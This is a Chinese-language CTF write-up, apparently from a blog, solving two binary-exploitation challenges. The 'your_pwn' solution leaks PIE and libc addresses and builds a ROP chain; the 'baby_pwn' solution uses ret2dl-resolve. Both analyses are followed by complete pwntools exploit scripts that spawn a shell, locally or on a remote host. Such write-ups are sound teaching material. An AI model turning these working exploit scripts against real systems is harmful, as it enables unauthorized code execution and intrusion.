Pwn

your_pwn

查保护,发现是64位全保护程序

mark

分析程序

mark

发现没有对v1的值做控制,于是我们可以借助v4作为基指针访问整个内存的数据(有权限内存除外),并且借助

mark

做到任意地址读写,并且注意到因为可以精确覆写rbp及返回地址,于是Canary保护其实是失效的,于是考虑首先泄露程序入口地址(PIE保护)和libc基址,检查栈

mark

发现这里可以直接读出栈地址和程序入口点,于是直接泄露libc基址,于是就可以构造ROP并利用

于是EXP如下:

from pwn import *
import sys
context.log_level='debug'

def check(str1):
    a=""
    i=0
    while i<len(str1):
        if(str1[i]=="f" and i+1<len(str1) and str1[i+1]=="f"):
            i+=2
            continue
        a+=str1[i]
        i+=1
    return a

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./pwn")

PIE_addr=""
libc_base=""
sh.recvuntil("input your name \nname:")
sh.sendline("ERROR404")
# for i in range(624,632):
#     sh.recvuntil("input index")
#     sh.sendline(str(i))
#     sh.recvuntil("input new value")
#     sh.sendline('54')
for i in range(8):
    sh.recvuntil("input index")
    sh.sendline(str(624+i))
    sh.recvuntil("now value(hex) ")
    temp=check(sh.recvuntil('\n').strip('\n'))
    PIE_addr = temp + PIE_addr
    sh.recvuntil("input new value")
    sh.sendline(str(int(temp,16)))
PIE_addr=PIE_addr[0:11]
PIE_addr+='000'
log.success("We leak PIE addr is "+str(hex(int(PIE_addr,16))))
PIE_address=int(PIE_addr,16)
rdi_ret=PIE_address+0xd03
main_addr=PIE_address+0xb35
for i in range(8):
    sh.recvuntil("input index")
    sh.sendline(str(632+i))
    sh.recvuntil("now value(hex) ")
    temp=check(sh.recvuntil('\n').strip('\n'))
    libc_base = temp + libc_base
    sh.recvuntil("input new value")
    sh.sendline(str(int(temp,16)))
libc_base=int(libc_base,16)-0x20830
log.success("We leak libc base is "+str(hex(libc_base)))
system_addr=libc_base+libc.symbols['system']
binsh_addr=libc_base+libc.search('/bin/sh').next()
payload=p64(rdi_ret)+p64(binsh_addr)+p64(system_addr)+p64(main_addr)
for i in range(25):
    sh.recvuntil("input index")
    sh.sendline(str(1))
    sh.recvuntil("input new value")
    sh.sendline(str(1))
sh.recvuntil("do you want continue(yes/no)? ")
sh.send("yes")
for i in range(len(payload)):
    sh.recvuntil("input index")
    sh.sendline(str(344+i))
    sh.recvuntil("input new value")
    sh.sendline(str(ord(payload[i])))
for i in range(41-len(payload)):
    sh.recvuntil("input index")
    sh.sendline(str(1))
    sh.recvuntil("input new value")
    sh.sendline(str(1))
sh.recvuntil("do you want continue(yes/no)? ")
sh.send("no")
sh.interactive()
print(sh.recv())

baby_pwn

查保护,仅开启NX保护的32位程序

mark

分析程序逻辑,逻辑非常简单

mark

但是发现本程序中没有输出函数

mark

于是想到使用ret2dl-resolve,于是借助roputils(话说这个包我也安了好久QwQ)

EXP如下:

#!/usr/bin/env python
#coding:utf-8
import sys
import roputils
from pwn import *

pwn_file = ELF('./pwn')
offset = 0x2c
readplt = pwn_file.plt['read']
bss = 0x0804a040
vulFunc = 0x0804852D

if args['REMOTE']:
    p = remote(sys.argv[1], sys.argv[2])
else:
    p = process("./pwn")

def getReloc(elf, base):
    jmprel = elf.dynamic('JMPREL')
    relent = elf.dynamic('RELENT')
    addr_reloc, padlen_reloc = elf.align(base, jmprel, relent)
    reloc_offset = addr_reloc - jmprel
    return reloc_offset

rop = roputils.ROP('./pwn')
addr_bss = rop.section('.bss')

# step1 : write sh & resolve struct to bss
buf1 = 'A' * offset 
buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
p.send(buf1)

buf2 =  rop.string('/bin/sh')
buf2 += rop.fill(20, buf2)
buf2 += rop.dl_resolve_data(addr_bss+20, 'system') 
buf2 += rop.fill(100, buf2)
p.send(buf2)

buf3 = 'A'*0x2c + rop.dl_resolve_call(addr_bss+20, addr_bss) 
p.send(buf3)

p.interactive()
分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注